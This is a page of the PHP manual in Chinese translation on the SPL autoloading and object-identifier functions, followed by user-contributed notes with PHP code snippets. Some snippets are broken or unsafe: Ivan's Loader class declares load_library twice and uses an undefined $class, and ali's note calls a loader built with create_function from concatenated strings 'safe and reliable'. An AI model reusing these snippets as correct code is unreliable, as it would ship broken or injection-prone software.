            if (file_exists($dir.'class.'.strtolower($class_name).'.php')) {
                require_once($dir.'class.'.strtolower($class_name).'.php');
                return;
            }
        }
    });
xavier dot bouhours at free dot fr 03-Mar-2015 03:55
// Get last class version

    if( !function_exists('classAutoLoader') )
    {
        function classAutoLoader($className)
        {
            $classFiles     = array() ;
            $classFile     = FALSE ;
            $classDir        = __DIR__ .'/'  ;
            // Get all files
            $files         = scandir( $classDir ) ;
            foreach ( $files as $url )
            {
                // Verifie if file is : Name + class + version + extension
                if( is_file($classDir.$url) && preg_match('/([^\.]+)\.class\.([\d\.]+)\.(.+)$/', $url, $m ) )
                {
                    // Verifie finded file
                    if( $className == $m[1] )
                    {
                        // Get previous version or init
                        $previous = isset( $classFiles[$m[1]] ) ? $classFiles[$m[1]] : 0 ;

                        // Get last version
                        if( $previous<$m[2] )
                        {
                            $classFiles[ $m[1] ] = $m[2] ; // version
                            $classFile = $classDir.$url ;
                        }
                    }
                }
            } ;
            if( !class_exists($className) ) include( $classFile );
        }
    }
    spl_autoload_register('classAutoLoader') ;
neolium at gmail dot com 13-Feb-2015 01:00
This autoload will find every class you call if you put each one in a different file.

It walks into every directory recursivly from the root you specify in the $root var.

You can specify the folders ou don't want to walk in (e.g you won't find any class in a 'view' folder on an MVC project) in the $dir_to_not_look_in array;

spl_autoload_register(function($class) {

    $root = 'my/root/path';
    $file = $class . '.php';
    $dir_to_not_look_in = array($directories, $to, $not, $look, $in);

    if(!function_exists('load')) {
      function load($dir, $file) {
            if(file_exists($dir . '/' . $file)) {
                require_once $dir . '/' . $file;
            } else {
                foreach(scandir($dir) as $value) {
                    if(is_dir($dir. '/' . $value) && !in_array($value, $dir_to_no_look_in))
                        load($dir. '/' . $value, $file);
                }
            }
        };
    }

    load($root, $file);

});
nmmm at nmmm dot nu 04-Jun-2014 02:17
spl_autoload_register() can be used with include_path.

suppose in current directory we have directory "a", and inside there is directory "test" and inside is test.php :

<?
namespace test;
class test{
        function __construct(){
                echo "Test created\n";
        }
}
?>

then we can use following code to load the class:
<?
ini_set("include_path", "./a/");

spl_autoload_register();

$t = new \test\test();
?>
hajo-p 05-Jan-2014 05:25
if you have a dir-structure like "/abc/def/ghi", your index.php lies in the top directory, but you want to use namespaces starting with "def" or "ghi":

you can switch the namespace root directory of php with e.g. set_include_path(__DIR__ . '/abc') and afterwards define + use your namespaces with the simple spl_autoload_register() function without any arguments supplied.

remember that php handlers "cli" and "cli-server" are special cases.
Kurd the Great 01-Oct-2013 04:13
if(!defined('BASE_PATH')) {
    define('BASE_PATH', dirname(__FILE__) . '/');
    require BASE_PATH . 'Autoloader.php';
    Autoloader::Register();
}

class Autoloader
{
    public static function Register() {
        return spl_autoload_register(array('Autoloader', 'Load'));
    }

    public static function Load($strObjectName) {
        if(class_exists($strObjectName) === false) {
            return false;
        }

        $strObjectFilePath = BASE_PATH . $strObjectName . '.php';

        if((file_exists($strObjectFilePath) === false) || (is_readable($strObjectFilePath) === false)) {
            return false;
        }

        require($strObjectFilePath);
    }
}
phil at propcom dot co dot uk 18-Sep-2013 08:36
It is important to note that the autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
ali dot taheri dot m at gmail dot com 24-Jul-2013 02:23
I've made a little function that makes and registers a loader that seems to be safe and reliable although I'm not sure but it feels like a good idea to share, it took me some time to come up with it I hope it saves someone some time,

<?php

function Loader($root = "") {
    $loaderFunction = create_function('$class', 'include  "' . $root . '$class.php";');
    spl_autoload_register($loaderFunction);
}

?>

if you have a file system exactly like your directory tree this function works perfectly, I haven't tested it on unix, but on windows, the default loader fails when your webpage isn't in the root directory, this makes sure that it won't cause a problem if your webpage is on a subdir too just pass ../ or more drived ../../ as root and it will work like a charm, note that i couldn't use anonymous functions because then the $root variable wouldn't have the same scope as the Loader function, so the function must be created on the fly. this is a good example of this functions usage

your class:
root/classes/support/classic.php
<?php

    namespace classes/support;

    class classic {
         // class def
    }

?>

root/support/index.php
<?php

Loader('../');

use classes/support/classic;

$cls = new classic();
//use $cls
?>

the loader will make a function like this:
<?php

function($class) {
    include  "../$class.php";
}

//when and when the class is needed this will run the script which is indeed what we need:

include '../classes/support/classic.php';

?>

hope this helps folks;
sebastian at 34n dot de 24-May-2013 09:49
You can also use it like this:

> spl_autoload_register ( array( new AutoloaderClass, 'method') );

or in PHP > 5.3:

> spl_autoload_register ( [ new My\Namespace\Autoloader, 'method'] );

On this way you dont have to create a variable, which is used once.
a dot schaffhirt at sedna-soft dot de 07-Apr-2013 01:42
What I said here previously is only true on Windows. The built-in default autoloader that is registered when you call spl_autoload_register() without any arguments simply adds the qualified class name plus the registered file extension (.php) to each of the include paths and tries to include that file.

Example (on Windows):

include paths:
- "."
- "d:/projects/phplib"

qualified class name to load:
network\http\rest\Resource

Here's what happens:

PHP tries to load
'.\\network\\http\\rest\\Resource.php'
-> file not found

PHP tries to load
'd:/projects/phplib\\network\\http\\rest\\Resource.php'
-> file found and included

Note the slashes and backslashes in the file path. On Windows this works perfectly, but on a Linux machine, the backslashes won't work and additionally the file names are case-sensitive.

That's why on Linux the quick-and-easy way would be to convert these qualified class names to slashes and to lowercase and pass them to the built-in autoloader like so:

<?php
spl_autoload_register(
  function ($pClassName) {
    spl_autoload(strtolower(str_replace("\\", "/", $pClassName)));
  }
);
?>

But this means, you have to save all your classes with lowercase file names. Otherwise, if you omit the strtolower call, you have to use the class names exactly as specified by the file name, which can be annoying for class names that are defined with non-straightforward case like e. g. XMLHttpRequest.

I prefer the lowercase approach, because it is easier to use and the file name conversion can be done automatically on deploying.
daniel at amnistechnology dot com 17-Oct-2012 09:57
Cleverly - and usefully - I have noticed that (on PHP 5.3 at least) these autoloaders "kick in" even when you call a public static method of an as-yet-unloaded all static class.
Anonymous 03-Feb-2012 04:52
Note that when specifying the third parameter (prepend), the function will fail badly in PHP 5.2
(delphists) at (apollo) dot (lv) 01-Feb-2011 01:57
When using spl_autoload_register() with class methods, it might seem that it can use only public methods, though it can use private/protected methods as well, if registered from inside the class:
<?php

    class ClassAutoloader {
        public function __construct() {
            spl_autoload_register(array($this, 'loader'));
        }
        private function loader($className) {
            echo 'Trying to load ', $className, ' via ', __METHOD__, "()\n";
            include $className . '.php';
        }
    }

    $autoloader = new ClassAutoloader();

    $obj = new Class1();
    $obj = new Class2();

?>

Output:
--------
Trying to load Class1 via ClassAutoloader::loader()
Class1::__construct()
Trying to load Class2 via ClassAutoloader::loader()
Class2::__construct()
anthon at piwik dot org 04-Jul-2010 09:02
Think twice about throwing an exception from a registered autoloader.

If you have multiple autoloaders registered, and one (or more) throws an exception before a later autoloader loads the class, stacked exceptions are thrown (and must be caught) even though the class was loaded successfully.
sebastian dot krebs at kingcrunch dot de 24-Mar-2010 10:54
It seems, that  spl_autoload tests, if the class exists, after calling every registered loader. So it breaks the chain, if the class exists and will not call the other loaders

<?php
function a ($c) {
  echo "a\n";
  class Bla {} // Usually "include 'path/to/file.php';"
}
function b ($c) {
  echo "b\n";
}
spl_autoload_register('a');
spl_autoload_register('b');

$c = new Bla();
?>
Anonymous 16-Mar-2010 08:30
Be careful using this function on case sensitive file systems.

<?php
spl_autoload_extensions('.php');
spl_autoload_register();
?>

I develop on OS X and everything was working fine. But when releasing to my linux server, none of my class files were loading. I had to lowercase all my filenames, because calling a class "DatabaseObject" would try including "databaseobject.php", instead of "DatabaseObject.php"

I think i'll go back to using the slower __autoload() function, just so i can keep my class files readable
rayro at gmx dot de 04-Jan-2010 03:14
It is never a good idea and a unconscienable concept to create the classes in the autoload function via eval.
It should be a nice feature with these Exception, but i think anyone is able to handle it without this method although. Atm i dont realize for what this is good for...

As i might note, class_exists() will ever define the classes u only want to check for existance, and will therefor ever return true:
<?php
function EvalIsEvil($class) {
  eval('class '.$className.'{}');
}
spl_autoload_register('EvalIsEvil');
if (class_exists($s="IsMyModuleHere")) {
  // this is no module, but get there with eval()...
  return new $s();
}
?>
a dot schaffhirt at sedna-soft dot de 27-Jul-2009 07:05
Good news for PHP 5.3 users with namespaced classes:

When you create a subfolder structure matching the namespaces of the containing classes, you will never even have to define an autoloader.

<?php
    spl_autoload_extensions(".php"); // comma-separated list
    spl_autoload_register();
?>

It is recommended to use only one extension for all classes. PHP (more exactly spl_autoload) does the rest for you and is even quicker than a semantically equal self-defined autoload function like this one:

<?php
    function my_autoload ($pClassName) {
        include(__DIR__ . "/" . $pClassName . ".php");
    }
    spl_autoload_register("my_autoload");
?>

I compared them with the following setting: There are 10 folders, each having 10 subfolders, each having 10 subfolders, each containing 10 classes.

To load and instantiate these 1000 classes (parameterless no-action constructor), the user-definded autoload function approach took 50ms longer in average than the spl_autoload function in a series of 10 command-line calls for each approach.

I made this benchmark to ensure that I don't recommend something that could be called "nice, but slow" later.

Best regards,
stanlemon at mac dot com 28-Sep-2007 10:20
Editorial note: The appropriate PHP bug that requests behavior this function emulates is http://bugs.php.net/bug.php?id=42823 . This function does NOT work if there has been an array($obj, 'nonStaticMethod') registered in the autoload stack--while the autoload will be removed, it will be re-registered incorrectly.

The spl_autoload_register() method registers functions in its stack in the order that spl_autoload_register() was called, and subsequently if you want an autoload function to override previous autoload functions you will either need to unregister the previous ones or change the order of the autoload stack.

For example, say in your default implementation of an autoload function you throw an exception if the class cannot be found, or perhaps a fatal error.  Later on in your code you add a second implementation of an autoload function which will load a library that the previous method would fail on.  This will not call the second autoloader method first, but rather will continue to error out on the first method.

As previously mentioned, you can unregister the existing autoloader that errors out, or you can create a mechanism for unregistering and re-registering the autoloaders in the order you want.

Here is a sample/example of how you might consider re-registering autoloaders so that the newest autoloader is called first, and the oldest last:

<?php

// Editorial notes: Small bug and compatibility fixes
// added to the function

function spl_autoload_preregister( $autoload ) {
    // No functions currently in the stack.
    if ( ($funcs = spl_autoload_functions()) === false ) {
        spl_autoload_register($autoload);
    } else {
        // Unregister existing autoloaders...
        $compat =
            version_compare(PHP_VERSION, '5.1.2', '<=') &&
            version_compare(PHP_VERSION, '5.1.0', '>=');
        foreach ($funcs as $func) {
            if (is_array($func)) {
                // :TRICKY: There are some compatibility issues and some
                // places where we need to error out
                $reflector = new ReflectionMethod($func[0], $func[1]);
                if (!$reflector->isStatic()) {
                    throw new Exception('
                        This function is not compatible
                        with non-static object methods due to PHP Bug #44144.
                    ');
                }
                // Suprisingly, spl_autoload_register supports the
                // Class::staticMethod callback format, although call_user_func doesn't
                if ($compat) $func = implode('::', $func);
            }
            spl_autoload_unregister($func);
        }

        // Register the new one, thus putting it at the front of the stack...
        spl_autoload_register($autoload);

        // Now, go back and re-register all of our old ones.
        foreach ($funcs as $func) {
            spl_autoload_register($func);
        }
    }
}

?>

Note: I have not tested this for overhead, so I am not 100% sure what the performance implication of the above example are.
harvey dot NO_SPAM dot robin at gmail dot com 10-Feb-2007 05:54
This function is smart enough not to add the same loader twice.  This seems to work for all of the different loader formats.  Example:

<?php
class ALoader
{
  static function load($class) { return true; }
}

function anotherLoader($class) {
  return true;
}

$F = new ALoader;

spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array($F, 'load'));
spl_autoload_register('anotherLoader');
spl_autoload_register('anotherLoader');
var_dump(spl_autoload_functions());

/*
 * Results on PHP5.2 CLI, linux.
 * array(2) {
 *  [0]=>
 *  array(2) {
 *    [0]=>
 *    string(7) "ALoader"
 *    [1]=>
 *    string(4) "load"
 *  }
 *  [1]=>
 *  string(13) "anotherLoader"
 * }
 */
?>
florent at mediagonale dot com 14-Nov-2006 01:19
If your autoload function is a class method, you can call spl_autoload_register with an array specifying the class and the method to run.

* You can use a static method :
<?php

class MyClass {
  public static function autoload($className) {
    // ...
  }
}

spl_autoload_register(array('MyClass', 'autoload'));
?>

* Or you can use an instance :
<?php
class MyClass {
  public function autoload($className) {
    // ...
  }
}

$instance = new MyClass();
spl_autoload_register(array($instance, 'autoload'));
?>


注销已实现的 __autoload() 函数

  • ? spl_autoload_register
  • spl_autoload ?
  • PHP Manual
  • SPL 函数
  • 注销已实现的 __autoload() 函数

spl_autoload_unregister

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_unregister — 注销已实现的 __autoload() 函数

说明

spl_autoload_unregister(callable $callback): bool

从自动装载函数队列中移除函数。如果该函数队列处于激活状态且在指定函数移除后为空，则函数队列将会失效。

如果该函数导致自动装载函数队列失效，之前存在的 __autoload 函数也不会重新激活。

参数

callback

要注销的自动装载函数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

edgarortegaramirez at example dot com 18-May-2013 07:13
$functions = spl_autoload_functions();
    foreach($functions as $function) {
        spl_autoload_unregister($function);
    }

A nice way to unregister all functions.
Julien B. 07-Jul-2009 09:31
Restore the binding to __autoload after using a spl_autoload_register() call

<?php
spl_autoload_register(array('Doctrine', 'autoload'));

// some process

spl_autoload_unregister(array('Doctrine', 'autoload'));

// but now the old __autoload is not triggered anymore
// you need to use :
spl_autoload_register('__autoload');

// but this will throw a LogicExeption if the __autoload
// function is not defined yet, so use:
function autoload__ ( $className ) {
    if ( function_exists('__autoload'))
        __autoload($className);
}

spl_autoload_register('autoload__');

?>

So you can define your old __autoload in another file for example

May helps some folks in this catch 22


__autoload()函数的默认实现

  • ? spl_autoload_unregister
  • spl_classes ?
  • PHP Manual
  • SPL 函数
  • __autoload()函数的默认实现

spl_autoload

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload — __autoload()函数的默认实现

说明

spl_autoload(string $class, ?string $file_extensions = null): void

本函数用于 __autoload() 的默认实现。如果未指定任何参数调用 spl_autoload_register()，则此函数在 __autoload() 调用时会自动使用此函数。

参数

class

已实例化的类（和命名空间）的名字。

file_extensions

在默认情况下，本函数先将类名转换成小写，再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名，然后在所有的包含路径（include paths）中检查是否存在该文件。

返回值

没有返回值。

错误／异常

当未找到类或者没有注册其它自动加载器时抛出 LogicException。

更新日志

版本 | 说明
8.0.0 | file_extensions 现在允许为 null。

User Contributed Notes

theking2 at king dot ma 09-Jul-2022 10:41
Both namespaces and class names are case insensitive. This can cause problems with autoloading in OS/filesystems that _are_

Consider this code:
<?php declare(strict_types=1);
set_include_path(get_include_path() . PATH_SEPARATOR . 'class/');
spl_autoload_extensions('.class.php');
spl_autoload_register();

$foobar = new \foo\bar();
?>

and a class file /class/foo/bar.class.php:
<?php declare(strict_types=1);
namespace Foo;

class Bar {
  public function __construct() {
    echo 'Map constructed';
  }
}
?>

this will work fine regardless of a case sensitive or not case sensitive OS/FS.

A file called ./class/Foo/Bar.class.php will only be found on a not case sensitive situation as the default class loader will mb_strtolower() the class name to find the class filename.

Btw. this content of a class file will be equivalent to the one above:
<?php declare(strict_types=1);
namespace foo;

class bar {
  public function __construct() {
    echo 'Map constructed';
  }
}
?>

The class /foo/bar and /Foo/Bar are one and the same thing.
EVODelavega 15-Apr-2014 08:39
Just thought I'd react to simast at gmail dot com's note: While he has a point in saying C outperforms PHP, his suggestion is micro-optimization. I'm not 100% against micro-optimizing code, but if you do, go all the way:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

This adds the include path to THE END of the paths PHP will scan for the class file, resulting in a bunch of misses (file-not-found's) before actually looking into the CLASS_DIR.
A more sensible approach, then would be to write

    set_include_path(
        CLASS_DIR.
        PATH_SEPARATOR,
        get_include_path()
    );
Philip 05-Nov-2013 03:05
The documentation is a little unclear when it says: "The lowercased name of the class (and namespace) being instantiated".

What it actually means is that the argument can be in whatever case you want, but it will be converted to lowercase before PHP starts looking for files. This is probably because in PHP, class names are case-insensitive (as well as function names and namespaces) so it needs to convert to some canonical format.
contato at felipebarth dot com dot br 23-Sep-2012 09:14
<?php
/*
* defined function responsible for loading class,
* replacing the old __ autoload.
* ROOT is constant of the path root of the system
*/
spl_autoload_extensions('.class.php');
spl_autoload_register('loadClasses');

 function loadClasses($className)
 {

    if( file_exists(ROOT_DIR.DS.'controller/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'controller'.DS);
        spl_autoload($className);
    }
    elseif( file_exists('model/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'model'.DS);
        spl_autoload($className);
    }elseif( file_exists('view/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'view'.DS);
        spl_autoload($className    );
    }else
    {
        set_include_path(ROOT_DIR.DS.'lib'.DS);
        spl_autoload($className    );
    }
 }
?>
Ivan Stojmenovic 06-Jun-2012 01:19
One small example that shows how you can use spl_autoload function in your MVC, Framewrk's applications. For example, will use the Loader class.

<?php

 class Loader
 {

    /**
     * Controller Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_controllerDirectoryPath = array();

    /**
     * Model Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_modelDirectoryPath = array();

    /**
     * Library Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_libraryDirectoryPath = array();

    /**
     * Constructor
     * Constant contain my full path to Model, View, Controllers and Lobrary-
     * Direcories.
     *
     * @Constant MPATH,VPATH,CPATH,LPATH
     */

    public function __construct()
    {
        $this->modelDirectoryPath      = MPATH;
        $this->viewDirectoryPath        = VPATH;
        $this->controllerDirectoryPath = CPATH;
        $this->libraryDirectoryPath     = LPATH;

        spl_autoload_register(array($this,'load_controller'));
        spl_autoload_register(array($this,'load_model'));
        spl_autoload_register(array($this,'load_library'));

        log_message('debug',"Loader Class Initialized");
    }

    /**
     *-----------------------------------------------------
     * Load Library
     *-----------------------------------------------------
     * Method for load library.
     * This method return class object.
     *
     * @library String
     * @param String
     * @access public
     */
    public function load_library($library, $param = null)
    {
        if (is_string($library)) {
            return $this->initialize_class($library);
        }
        if (is_array($library)) {
            foreach ($library as $key) {
                return $this->initialize_class($library);
            }
        }
    }

    /**
     *-----------------------------------------------------
     * Initialize Class
     *-----------------------------------------------------
     * Method for initialise class
     * This method return new object.
     * This method can initialize more class using (array)
     *
     * @library String|Array
     * @param String
     * @access public
     */
    public function initialize_class($library)
    {
        try {
            if (is_array($library)) {
                foreach($library as $class) {
                    $arrayObject =  new $class;
                }
                return $this;
            }
            if (is_string($library)) {
                $stringObject = new $library;
            }else {
                throw new ISException('Class name must be string.');
            }
            if (null == $library) {
                throw new ISException('You must enter the name of the class.');
            }
        } catch(Exception $exception) {
            echo $exception;
        }
    }

    /**
     * Autoload Controller class
     *
     * @param  string $class
     * @return object
     */

    public function load_controller($controller)
    {
        if ($controller) {
            set_include_path($this->controllerDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Model class
     *
     * @param  string $class
     * @return object
     */

    public function load_models($model)
    {
        if ($model) {
            set_include_path($this->modelDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Library class
     *
     * @param  string $class
     * @return object
     */

    public function load_library($library)
    {
        if ($library) {
            set_include_path($this->libraryDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

 }

 ?>
Luke Scott 19-Apr-2011 07:03
If you want to make the best use out of autoload with an APC cache don't use spl_autoload. It uses relative paths and thus will perform a stat even with apc.stat=0 (either that, or it doesn't work at all).

Instead make a custom function and use require/include with an absolute path (register it with spl_autoload_register).

Do NOT use *_once functions or a relative path. This will fail harder than spl_autoload.

Also avoid using file_exists and is_file. This will also perform a stat.

Why are stats bad? Because they access the file system. PHP does have a stat cache that helps, but it defeats the purpose of apc.stat = 0.

It's also good to keep in mind that it's good to keep your custom autoload function simple. This is my Loader class:

<?php

class Loader
{
    public static function registerAutoload()
    {
        return spl_autoload_register(array(__CLASS__, 'includeClass'));
    }

    public static function unregisterAutoload()
    {
        return spl_autoload_unregister(array(__CLASS__, 'includeClass'));
    }

    public static function includeClass($class)
    {
        require(PATH . '/' . strtr($class, '_\\', '//') . '.php');
    }
}

?>

Also want to point out that APC does an optimization with require/include (not *_once) with relative paths if require/include is done in the global scope (and isn't conditional). So it would be a good idea to explicitly include files you know you're going to use on every request (but don't use *_once). You could, for example, add a "registerProfiledAutoload" to the above class and keep track of what you're including to help you determine what you could explicitly include (during development, not production). The key is try not to make heavy use out of autoload.

If you must use relative paths and don't care about having to lower-case your file-names then spl_autoload works great.
daniel 05-Jul-2010 07:58
Note this function will LOWERCASE the class names its looking for, dont be confused when it cant find Foo_Bar.php

also, unlike most other autoloader code snippets, this function DOES NOT translate underscores to slashes.

class Foo_Bar {}
will load foo_bar.php and will not try to load foo/bar.php

You can get around this with
spl_autoload_register(function($class) { return spl_autoload(str_replace('_', '/', $class));});
simast at gmail dot com 07-Aug-2009 10:22
Note, that the default autoload implementation is written in C land and is always slightly faster then your native PHP one.

Here is a trick to use default implementation with any configuration:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

    // You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
    spl_autoload_extensions('.class.php');

    // Use default autoload implementation
    spl_autoload_register();
?>

This also works with namespaces out of the box. So you can write code like "use My\Name\Object" and it will map to "class/My/Name/Object.class.php" file path!
safak_ozpinar at NOSPAM dot yahoo dot com 25-Sep-2007 07:17
Note that, the orders of file extensions is important for performance. You should make the priority of your favourite file extension higest or use only one extension for your class files. Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>

Or you can use this simple function that runs a bit faster for the extensions with lower priority :)
<?php
function my_autoload($className, $extList='.inc,.php') {
    $ext = explode(',',$extList);
    foreach($ext as $x) {
        $fname = $className.$x;
        if(@file_exists($fname)) {
            require_once($fname);
            return true;
        }
    }
    return false;
}

for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    my_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 2.6 miliseconds
?>
---
Safak Ozpinar - Istanbul University, Computer Engineering


返回所有可用的SPL类

  • ? spl_autoload
  • spl_object_hash ?
  • PHP Manual
  • SPL 函数
  • 返回所有可用的SPL类

spl_classes

(PHP 5, PHP 7, PHP 8)

spl_classes — 返回所有可用的SPL类

说明

spl_classes(): array

本函数返回当前所有可用的 SPL 类的数组。

参数

此函数没有参数。

返回值

Returns an array containing the currently available SPL classes.

示例

Example #1 spl_classes() example

<?php

print_r(spl_classes());

?>

以上示例的输出类似于：

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [RecursiveCachingIterator] => RecursiveCachingIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

User Contributed Notes

There are no user contributed notes for this page.


返回指定对象的 hash id

  • ? spl_classes
  • spl_object_id ?
  • PHP Manual
  • SPL 函数
  • 返回指定对象的 hash id

spl_object_hash

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

spl_object_hash — 返回指定对象的 hash id

说明

spl_object_hash(object $object): string

本函数为对象返回唯一标识符。只要对象没有销毁，这个 id 可用作保存对象的散列键，或者用于标识对象。一旦对象销毁，它的散列值可能会被其它对象重用。此行为类似为 spl_object_id()。

参数

object

任何对象。

返回值

字符串，对于当前存在的每个对象都是唯一的，且对同一个对象始终相同。

示例

Example #1 A spl_object_hash() 示例

<?php
$id = spl_object_hash($object);
$storage[$id] = $object;
?>

注释

Note:

当对象销毁后，它的散列值可能会被其它对象重用。

Note:

对象散列应该使用 === 和 !== 标识符比较，因为返回的散列可能是数字字符串。例如：0000000000000e600000000000000000。

参见

  • spl_object_id() - Return the integer object handle for given object

User Contributed Notes

Hayley Watson 14-Apr-2023 12:17
This function is slightly older than spl_object_id. Its output is more complex but doesn't actually provide any more information than the newer function. It used to be a lot more complex (without being any more informative) but now it's merely the object's ID number written in hex with a lot of padding to maintain the old format. spl_object_id just gives the ID number as a plain integer.

You're probably better off using spl_object_id, and thinking about migrating if you're already using spl_object_hash; there is a chance this function will be deprecated and subsequently removed in the future.
A simple developer 06-Apr-2023 08:10
Attention when comparing object hashes in PHP >= 8.1

In PHP 8.1 (I think) the output of spl_object_hash() changed (see pull request https://github.com/php/php-src/pull/7010).
This lead to a strange misbehaviour of our application, as we stored object hashes in an array to check, if we processed object already. A simple in_array() check returned true, even though the current object hash was NOT actually in array.

Actual problem: New hashes are much more simple and can be something like "0000000000000e600000000000000000" or "0000000000000e490000000000000000", which PHP will interpret as numeric (exponent).
in_array() will compare non type-safe by default and will interpret named hashes as "0".
DimeCadmium 18-Jun-2018 03:45
For those who believe this function is misnamed, I would like to direct you to https://en.wikipedia.org/wiki/Hash_function . Also, for those who think it's misnamed and supply a comparison to Python, I would like to direct you to https://docs.python.org/2/library/functions.html#hash which does the same thing as this function. (From Python's data-model docs: "User-defined classes have __cmp__() and __hash__() methods by default; ... x.__hash__() returns a result derived from id(x)." - id(x) returns the memory address of the object.)

The cryptographic hash functions you are familiar with, like MD5 or SHA1, are named hash functions because they have a similar design goal: low chance of collisions.
aa dot vasilenko at gmail dot com 03-Jan-2018 07:21
Please note that since PHP 7.2 there's new function available spl_object_id() which returns int instead of string. It's (supposed to be) more performant. Due to lack of documentation I recommend you reading the PR https://github.com/php/php-src/pull/2611
Hayleu Watson 06-Aug-2017 10:55
The "hash" mentioned in the name of this function refers to the storage structure known as a "hash table", not to any sort of "message digest". The string returned by this function is little more than the object's address in the (hash) table PHP maintains of all existing objects.
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Ulrich Eckhardt 27-Jun-2017 07:56
Calling this a hash is very misleading:

1. This function gives an object identifier (ID), which uniquely identifies the object for its whole lifetime. This is similar to the address of an object in C or the id() function in Python. I'm sure other languages have similar constructs.
2. This is not a hash and has nothing to do with it. A hash takes data and algorithmically reduces that data to some kind of scalar value. The only guarantee is that two equal inputs provide the same output, but not that two different inputs provide different outputs (hint: hash collisions). spl_object_hash() guarantees different outputs for non-identical objects though.
3. As someone mentioned already, this does not look at the content of the object. If you consider the difference between equality and identity, it only allows determining identity. If you serialize and unserialize an object, it will not be identical to its former self, but it will be equal, just to give an example. If you want a key to use in a response cache, using this function on the request is not only useless, because equal requests have different IDs, but possibly even harmful, because when a request object is garbage collected, its ID can be reused.
mjs at beebo dot org 16-May-2013 11:20
Note that given two different objects spl_object_hash() can return values that look very similar, and in fact both the most significant *and* least significant digits are likely to be identical!  e.g. "000000003cc56d770000000007fa48c5" and "000000003cc56d0d0000000007fa48c5".

Therefore (especially if using this function for debugging), you may wish to pass the hash into a cryptographic hash function like md5() to get to facilitate visual comparisons, and make it more likely that the first few or last few digits are unique.

md5("000000003cc56d770000000007fa48c5") -> "619a799747d348fa1caf181a72b65d9f"

md5("000000003cc56d0d0000000007fa48c5") -> "ae964bc912281e7804fe5a88b4546cb2"
planetbeing 05-Jul-2007 04:40
Note that the contents (properties) of the object are NOT hashed by the function, merely its internal handle and handler table pointer. This is sufficient to guarantee that any two objects simultaneously co-residing in memory will have different hashes. Uniqueness is not guaranteed between objects that did not reside in memory simultaneously, for example:

var_dump(spl_object_hash(new stdClass()), spl_object_hash(new stdClass()));

Running this alone will usually generate the same hashes, since PHP reuses the internal handle for the first stdClass after it has been dereferenced and destroyed when it creates the second stdClass.


Return the integer object handle for given object

  • ? spl_object_hash
  • 文件处理 ?
  • PHP Manual
  • SPL 函数
  • Return the integer object handle for given object

spl_object_id

(PHP 7 >= 7.2.0, PHP 8)

spl_object_id — Return the integer object handle for given object

说明

spl_object_id(object $object): int

This function returns a unique identifier for the object. The object id is unique for the lifetime of the object. Once the object is destroyed, its id may be reused for other objects. This behavior is similar to spl_object_hash().

参数

object

Any object.

返回值

An integer identifier that is unique for each currently existing object and is always the same for each object.

示例

Example #1 A spl_object_id() example

<?php
$id = spl_object_id($object);
$storage[$id] = $object;
?>

注释

Note:

When an object is destroyed, its id may be reused for other objects.

User Contributed Notes

Daniel 04-Sep-2020 07:10
Simple example:

<?php
    class Test {}

    $test1 = new Test;
    $test1_id = spl_object_id( $test1 );
    $test2 = new Test;
    $test2_id = spl_object_id( $test2 );

    var_dump( $test1_id === $test2_id );
    var_dump( $test1_id );
    var_dump( $test2_id );
?>

Returns
bool(false)
int(5288)
int(5287)


文件处理

Table of Contents

  • SplFileInfo
  • SplFileObject
  • SplTempFileObject

SPL 提供 一些与文件相关的类。

User Contributed Notes

